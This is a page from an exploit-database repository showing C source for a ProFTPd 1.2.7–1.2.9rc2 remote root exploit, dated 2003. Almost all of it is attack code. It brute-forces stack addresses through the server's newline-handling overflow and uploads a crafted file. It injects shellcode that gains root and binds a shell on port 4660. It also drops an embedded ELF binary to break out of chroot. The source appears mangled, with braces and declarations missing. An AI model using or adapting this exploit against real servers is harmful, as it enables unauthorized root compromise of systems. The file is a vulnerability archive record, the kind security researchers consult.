exploit-database/platforms/linux/remote/110.c at master · pythonmaster41/exploit-database

executable file
703 lines (612 loc) · 19.1 KB
ProFTPd 1.2.7 - 1.2.9rc2 remote r00t exploit
--------------------------------------------
This exploit builds on the work of bkbll to
create a working, brute-force remote exploit
for the \n procesing bug in ProFTPd.
Tested on SuSE 8.0, 8.1 and RedHat 7.2/8.0
it works quite well... the RedHat boxes
worked on stack addresses in the 0xbffff2xx
region; the SuSE boxes were somewhat earlier
in the stack space - around 0xbfffe8xx.
This is the only public version you'll see
from Haggis@Doris - but it is very likely
that more powerful private versions will
At present, this exploit breaks chroot (if
any) and spawns a shell bound to port 4660.
This version is best run like so:
./proft_put_down -t hostname -l localIP -U incoming
hostname = target box
localIP = your IP address
-U incoming specifies that the exploit will attempt
to create an 'incoming' directory on the remote ftp
server and work inside that. Without it, the shell-
code will probably not work properly. You have been
It is possible to use other credentials for logging
in to remote servers; anonymous is the default.
#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/tcp.h>
#define STACK_START 0xbfffef04
#define STACK_END 0xbffff4f0
#define FTP_PORT 21
#define BINDSHELL_PORT 4660
#define SIZE 1024
#define EXPLOIT_BUF_SIZE 65535
#define DEFAULT_USER "anonymous"
#define DEFAULT_PASS "ftp@"
#define FAILURE -1
#define SUCCESS 0
#define NORMAL_DOWNLOAD 1
#define EXPLOIT_DOWNLOAD 2
#define DOWNLOAD 3
#define UPLOAD 4
#define ACCEPT_TIMEOUT 5
#define SLEEP_DELAY 19999999
Leet 0-day HaggisCode (tm)
char shellcode[] =
// setuid(0); setgid(0);
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
// fork() - parent terminates, killing proftpd and ending FTP
// session. This leaves the child process as a daemon...
"\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31"
"\xdb\x31\xc0\xb0\x01\xcd\x80"
// Finally, bind a shell to port 4660.
// This is a hacked version of the bindshell code by BigHawk.
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68\x12\x34\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
"\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
"\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68\x2e\x2f\x61\x61\x89\xe3\x51\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
int controlSock, passiveSock;
int currentPassivePort=32769;
int currentServerPort=31337;
int exploitBufLen;
int attemptNumber=0;
int ftpPort=FTP_PORT;
unsigned int stackWriteAddr, retAddr;
char serverBuf[SIZE];
char exploitBuf[EXPLOIT_BUF_SIZE];
char uploadPath[SIZE]="";
char filename[SIZE*2];
char *server=NULL;
char *user=DEFAULT_USER;
char *pass=DEFAULT_PASS;
char *localIP=NULL;
char errorBuf[SIZE];
int connect_to_server(int port);
int login_to_server();
int set_passive_mode(int mode);
int set_ascii_mode();
int set_path_and_filename();
int check_for_linefeed();
int check_status();
int create_passive_server();
int create_exploit_buffer();
int upload_file();
int download_file(int mode);
void usage(char *s);
int do_remote_shell(int shellSock);
void status_bar(char *info);
int timeout_accept(int s, struct sockaddr *sa, int *f);
void my_send(int s, char *b, ...);
void my_recv(int s);
void my_sleep(int n);
void doris_chroot_breaker();
int main(int argc,char **argv)
int sleepMode=0;
unsigned int stackStartAddr=STACK_START;
if(argc<2) usage(argv[0]);
while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) {
switch (c) {
server=optarg;
user=optarg;
pass=optarg;
localIP=optarg;
sleepMode=1;
strncpy(uploadPath,optarg,SIZE);
ftpPort=atoi(optarg);
stackStartAddr=strtoul(optarg, NULL, 16);
usage(argv[0]);
if(server==NULL || localIP==NULL)
usage(argv[0]);
printf("proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit\n");
printf(" by Haggis (haggis@haggis.kicks-ass.net)\n");
doris_chroot_breaker();
for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END; stackWriteAddr+=4, attemptNumber++) {
if(check_for_linefeed()==FAILURE)
retAddr=stackWriteAddr+200; // good enough for show business
if((controlSock=connect_to_server(ftpPort))==FAILURE) {
perror("\n\nFailing to connect to remote host\n");
if(login_to_server()==FAILURE) {
close(controlSock);
printf("\nERROR: Login failed.\n");
if(set_passive_mode(UPLOAD)==FAILURE)
if(set_ascii_mode()==FAILURE)
if(set_path_and_filename()==FAILURE)
// create the buffer containing RET for this
// brute-force iteration
create_exploit_buffer();
if(upload_file()==FAILURE)
close(controlSock);
// Connect again, then login, set ASCII mode and download the exploit file.
// This will trigger the overflow; as a result, we've
// corrupted the memory pool of this session and when we
// download the file again, the stack area will be overwritten
// and we control the saved EIP.
if((controlSock=connect_to_server(ftpPort))<0) {
perror("\nFailed to connect to remote host\n");
login_to_server(user,pass);
set_path_and_filename();
if(set_ascii_mode()==FAILURE)
if(set_passive_mode(DOWNLOAD)==FAILURE)
if(sleepMode)
if(download_file(NORMAL_DOWNLOAD)==FAILURE)
// Finally, read the file again. This will trigger the stack
// overwrite (NOT the overflow, that happened earlier). We could
// control EIP at this point and r00t may be only heartbeat away...
if(set_passive_mode(DOWNLOAD)==FAILURE)
if(download_file(EXPLOIT_DOWNLOAD)==FAILURE)
close(controlSock);
// This is only reached if the bruteforce fails.
// delete the exploit files here
printf("\n\nNo r00t for you today I'm afraid.\n");
void status_bar(char *info) {
printf("[ %20s ]-[ Stack: 0x%08x ]-[ RET: 0x%08x ]\r",info, stackWriteAddr,retAddr);
fflush(stdout);
int set_path_and_filename()
status_bar("Setting filename");
if(strcmp(uploadPath,"")) {
my_send(controlSock, "CWD %s\r\n",uploadPath);
my_recv(controlSock);
snprintf(filename,SIZE,"proft_put_down-%d-%d.txt",getpid(),attemptNumber);
return SUCCESS;
int download_file(int mode)
int len, localServerSock, dataSock, bindShellSock;
struct sockaddr_in localServer;
status_bar("Downloading");
// Ask the victim server to send us the exploit file
my_send(controlSock, "RETR %s\r\n", filename);
// Create a listening server on our passive port to
// receive the data
memset(&localServer,0,sizeof(localServer));
localServerSock=create_passive_server();
len=sizeof(localServer);
// Wait for a few seconds for the victim server to contact us...
if((dataSock=timeout_accept(localServerSock,(struct sockaddr *)&localServer,&len))<0) {
close(localServerSock);
return FAILURE;
// If the mode is EXPLOIT_DOWNLOAD, then this is the
// second attempt at downloading... that means we might
// have a shell waiting for us on the victim server, so
// we try to connect to it
if(mode==EXPLOIT_DOWNLOAD) {
if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) {
printf("\nConnected! You are r00t...\n");
do_remote_shell(bindShellSock);
printf("\nDid you have a nice time?\n");
close(dataSock);
close(localServerSock);
return SUCCESS;
// If the mode is NORMAL_DOWNLOAD, then just clean up the
// connection by receiving the file from the server; closing
// the data and local server sockets, then read the confirmation
// message from the control socket
my_recv(dataSock);
close(dataSock);
close(localServerSock);
my_recv(controlSock);
return check_status();
int timeout_accept(int s, struct sockaddr *sa, int *f)
fd_set fdset;
struct timeval timeout = { ACCEPT_TIMEOUT, 0 }; // seconds
int result;
return FAILURE;
FD_ZERO(&fdset);
FD_SET(s, &fdset);
if((result=select(s+1, &fdset, 0, 0, &timeout))==0)
return FAILURE;
return accept(s,sa,f);
int set_passive_mode(int mode)
int portMSB, portLSB;
int x1,x2,x3,x4;
char *ptr=localIP, *start;
status_bar("Setting passive");
if(mode==DOWNLOAD) {
if((++currentPassivePort) > 35000)
currentPassivePort=32789;
while(*(++ptr))
if(*ptr=='.')
portMSB=(currentPassivePort >> 8 ) & 0xff;
portLSB=currentPassivePort & 0xff;
my_send(controlSock, "PORT %s,%d,%d\r\n", localIP, portMSB, portLSB);
my_recv(controlSock);
return check_status();
my_send(controlSock, "PASV\r\n");
my_recv(controlSock);
if(check_status()==FAILURE)
return FAILURE;
ptr=serverBuf;
while(*ptr && *ptr!='(')
if(*ptr=='\0')
return FAILURE;
start=ptr+1;
while(*ptr && *ptr!=')')
sscanf(start, "%d,%d,%d,%d,%d,%d",&x1, &x2, &x3, &x4, &portMSB, &portLSB);
currentServerPort=(portMSB << 8) | portLSB;
return SUCCESS; 
int connect_to_server(int port)
struct sockaddr_in serverAddr;
struct hostent *host;
int sock, tmp=1;
status_bar("Connecting");
if((host=gethostbyname(server))==NULL)
return FAILURE;
if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
return FAILURE;
bzero(&serverAddr,sizeof(struct sockaddr));
serverAddr.sin_family=AF_INET;
serverAddr.sin_port=htons(port);
serverAddr.sin_addr=*((struct in_addr *)host->h_addr);
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&tmp, sizeof(tmp));
if(connect(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
close(sock);
return FAILURE;
return sock;
int check_status()
if(isdigit(serverBuf[0]) && serverBuf[0]!='5')
return SUCCESS;
return FAILURE;
int login_to_server()
status_bar("Logging in");
my_recv(controlSock);
my_send(controlSock, "USER %s\r\n", user);
my_recv(controlSock);
if(check_status()==FAILURE)
return FAILURE;
my_send(controlSock, "PASS %s\r\n", pass); 
my_recv(controlSock);
return check_status();
int set_ascii_mode()
status_bar("Setting ASCII mode");
my_send(controlSock, "TYPE A\r\n");
my_recv(controlSock);
return check_status();
int upload_file()
int dataSock;
status_bar("Uploading file");
// open up the data channel
if((dataSock=connect_to_server(currentServerPort))==FAILURE)
return FAILURE;
// tell server we're gonna send some shiznitz
my_send(controlSock, "STOR %s\r\n", filename);
my_recv(controlSock);
if(check_status()==FAILURE) {
close(dataSock);
return FAILURE;
// send the exploit file to the victim server
send(dataSock, exploitBuf, exploitBufLen, 0);
close(dataSock);
// make sure all went well
my_recv(controlSock);
if(check_status()==FAILURE)
return FAILURE;
return SUCCESS;
int create_exploit_buffer()
char buf[41];
unsigned int writeaddr=stackWriteAddr;
unsigned int *ptr=(unsigned int *)(exploitBuf+3);
unsigned int dummy=0x11111111;
status_bar("Make exploit buf");
exploitBufLen=1024;
memset(exploitBuf,0,EXPLOIT_BUF_SIZE);
memset(exploitBuf,0x90,512);
*(ptr++)=writeaddr+28;
for(i=0;i<6;i++)
*(ptr++)=retAddr;
*(ptr++)=0;
for(i=0;i<2;i++)
*(ptr++)=retAddr;
memcpy(exploitBuf+512-strlen(shellcode)-1,shellcode,strlen(shellcode));
memset(exploitBuf+512,'\n',512);
for(i=0;i<96;i++) {
memset(buf,0,41);
if(dummy==0x1111112e)
// this sets session.d->outstrm to NULL which forces an early return
// avoids crashing proftpd... on SuSE 8.0 anywayz...
memcpy(buf,"\n\n\n\n\n\n\n\n\x00\x00\x00\x00\n\n\n\n\n\n\n\n",20);
else if(dummy==0x11111166)
// this is the same thing tailored for RH7.2
memcpy(buf,"\n\n\n\n\n\n\n\n\x72\x00\x00\x00\x00\n\n\n\n\n\n\n",20);
memset(buf,'\n',20);
// i used these dummy values to find the correct spot for
// the session.d->outstrm pointer
*(unsigned int *)(buf+20)=dummy;
*(unsigned int *)(buf+24)=dummy;
*(unsigned int *)(buf+28)=dummy;
// this will become the address of an available chunk of memory
// that is returned by new_block() in pool.c
*(unsigned int *)(buf+32)=writeaddr;
// this is what will be returned by palloc() in pool.c
// palloc() is the function that calls new_block() and
// provides the allocation interface for the pools system.
*(unsigned int *)(buf+36)=writeaddr;
memcpy(exploitBuf+exploitBufLen,buf,40);
exploitBufLen+=40;
return SUCCESS;
int create_passive_server()
struct sockaddr_in serverAddr;
int on=1,sock;
status_bar("Creating server");
sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&serverAddr,0,sizeof(struct sockaddr_in));
serverAddr.sin_port=htons(currentPassivePort);
serverAddr.sin_family=AF_INET;
serverAddr.sin_addr.s_addr=htonl(INADDR_ANY);
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
if(bind(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
close(sock);
return FAILURE;
if(listen(sock,5)<0) {
close(sock);
return FAILURE;
return sock;
void usage(char *exploitName)
printf("proftpd 1.2.7 - 1.2.9rc2 remote root exploit\n");
printf(" based on code by bkbll (bkbll@cnhonker.net)\n");
printf(" by Haggis (haggis@haggis.kicks-ass.net)\n");
printf("--------------------------------------------------------------\n");
printf("Usage: %s -t host -l ip [options]\n",exploitName);
printf("Arguments:\n");
printf(" -t <host> host to attack\n");
printf(" -u <username> [anonymous]\n");
printf(" -p <password> [ftp@microsoft.com]\n");
printf(" -l <local ip address> interface to bind to\n");
printf(" -s sleep for 10secs to allow GDB attach\n");
printf(" -U <path> specify upload path, eg. /incoming\n");
printf(" -P <port> port number of remote proftpd server\n");
printf(" -S <address> start at <address> when bruteforcing\n");
int do_remote_shell(int shellSock)
fd_set rfds;
char buf[1024];
int retval, r=1;
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(shellSock, &rfds);
retval=select(shellSock+1, &rfds, NULL, NULL, NULL);
if(retval) {
if(FD_ISSET(shellSock, &rfds)) {
buf[(r=recv(shellSock, buf, sizeof(buf)-1,0))]='\0'; // lol
printf("%s", buf);fflush(stdout);
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, sizeof(buf)-1))]='\0'; // lmfao
send(shellSock, buf, strlen(buf), 0);
} while(retval && r); // loop until connection terminates
return SUCCESS;
int check_for_linefeed()
char *ptr=(char *)&stackWriteAddr;
for(;i;i--)
if(*(ptr++)=='\n')
return FAILURE;
return SUCCESS;
// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...) {
va_list ap;
my_sleep(SLEEP_DELAY);
va_start(ap,b);
vasprintf(&buf,b,ap);
send(s,buf,strlen(buf),0);
va_end(ap);
// Another handy function to read data from a socket.
void my_recv(int s) {
my_sleep(SLEEP_DELAY);
memset(serverBuf, 0, SIZE);
len=recv(s, serverBuf, SIZE-1, 0);
serverBuf[len]=0;
void doris_chroot_breaker() {
char haggis_magic_buffer[]=
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x03\x00\x01\x00\x00\x00\x80\x80\x04\x08\x34\x00\x00\x00"
"\xa0\x01\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x02\x00\x28\x00"
"\x09\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08"
"\x00\x80\x04\x08\x20\x01\x00\x00\x20\x01\x00\x00\x05\x00\x00\x00"
"\x00\x10\x00\x00\x01\x00\x00\x00\x20\x01\x00\x00\x20\x91\x04\x08"
"\x20\x91\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00"
"\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x55\x89\xe5\x83\xec\x6c\x57\x56\x53\x8d\x45\xa0\x8d\x7d\xa0\xbe"
"\xc0\x80\x04\x08\xfc\xb9\x17\x00\x00\x00\xf3\xa5\x66\xa5\xa4\x8d"
"\x45\xa0\x89\x45\x9c\x8b\x5d\x9c\xff\xd3\x8d\x65\x88\x5b\x5e\x5f"
"\x89\xec\x5d\xc3\x8d\xb6\x00\x00\x00\x00\x8d\xbf\x00\x00\x00\x00"
"\x31\xc0\x31\xdb\x40\x50\x89\xe1\x66\xbb\x73\x68\x53\x89\xe3\xb0"
"\x27\xcd\x80\x31\xc0\x89\xe3\xb0\x3d\xcd\x80\x31\xc9\xb1\x0a\x31"
"\xc0\x31\xdb\x66\xbb\x2e\x2e\x53\x89\xe3\xb0\x0c\xcd\x80\x49\x85"
"\xc9\x75\xec\x31\xc0\x31\xdb\xb3\x2e\x53\x89\xe3\xb0\x3d\xcd\x80"
"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x00\x00"
"\x00\x47\x43\x43\x3a\x20\x28\x47\x4e\x55\x29\x20\x32\x2e\x39\x35"
"\x2e\x33\x20\x32\x30\x30\x31\x30\x33\x31\x35\x20\x28\x53\x75\x53"
"\x45\x29\x00\x08\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x30"
"\x31\x2e\x30\x31\x00\x00\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00"
"\x2e\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61"
"\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00"
"\x2e\x64\x61\x74\x61\x00\x2e\x73\x62\x73\x73\x00\x2e\x62\x73\x73"
"\x00\x2e\x63\x6f\x6d\x6d\x65\x6e\x74\x00\x2e\x6e\x6f\x74\x65\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00"
"\x06\x00\x00\x00\x80\x80\x04\x08\x80\x00\x00\x00\x40\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00"
"\x21\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\xc0\x80\x04\x08"
"\xc0\x00\x00\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x20\x00\x00\x00\x00\x00\x00\x00\x29\x00\x00\x00\x01\x00\x00\x00"
"\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
"\x2f\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x20\x91\x04\x08"
"\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x35\x00\x00\x00\x08\x00\x00\x00"
"\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
"\x3a\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x20\x01\x00\x00\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x43\x00\x00\x00\x07\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x43\x01\x00\x00\x14\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x01\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00";
strcpy(filename, "aa");
memset(exploitBuf,0,777);
memcpy(exploitBuf, haggis_magic_buffer, 776);
exploitBufLen=776;
if((controlSock=connect_to_server(ftpPort))==FAILURE) {
printf("\nCould not connect to target server\n");
login_to_server();
my_send(controlSock, "MKD incoming\r\n");
my_recv(controlSock);
my_send(controlSock, "SITE CHMOD 777 incoming\r\n");
my_recv(controlSock);
my_send(controlSock, "CWD incoming\r\n");
my_recv(controlSock);
set_passive_mode(UPLOAD);
upload_file();
my_send(controlSock, "SITE CHMOD 777 aa\r\n");
close(controlSock);
// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n) {
struct timespec t;
t.tv_sec=0;
t.tv_nsec=n;
nanosleep(&t,&t);
// milw0rm.com [2003-10-13]
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